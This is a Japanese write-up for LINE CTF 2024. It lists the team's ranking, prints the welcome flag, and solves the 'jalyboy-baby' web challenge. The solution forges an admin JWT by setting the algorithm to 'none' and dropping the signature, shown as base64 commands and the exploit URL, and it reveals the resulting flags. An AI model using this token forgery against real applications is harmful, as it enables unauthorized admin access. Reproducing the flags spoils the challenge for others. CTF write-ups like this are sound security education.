LINE CTF 2024 Writeup

この大会は2024/3/23 9:00(JST)~2024/3/24 9:00(JST)に開催されました。
今回もチームで参戦。結果は101点で865チーム中236位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

問題にフラグが書いてあった。

LINECTF{6240995c64f58fe13d72d80760551344}

jalyboy-baby (Web)

「login as guest」をクリックすると、以下のURLになる。

http://34.84.28.50:10000/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4
$ echo eyJhbGciOiJIUzI1NiJ9 | base64 -d        
{"alg":"HS256"}

$ echo eyJzdWIiOiJndWVzdCJ9 | base64 -d
{"sub":"guest"}

adminのtokenを作成する。

$ echo -n '{"alg":"none"}' | base64 
eyJhbGciOiJub25lIn0=

$ echo -n '{"sub":"admin"}' | base64                                       
eyJzdWIiOiJhZG1pbiJ9

以下のURLにアクセスすると、フラグが表示された。

http://34.84.28.50:10000/?j=eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
LINECTF{337e737f9f2594a02c5c752373212ef7}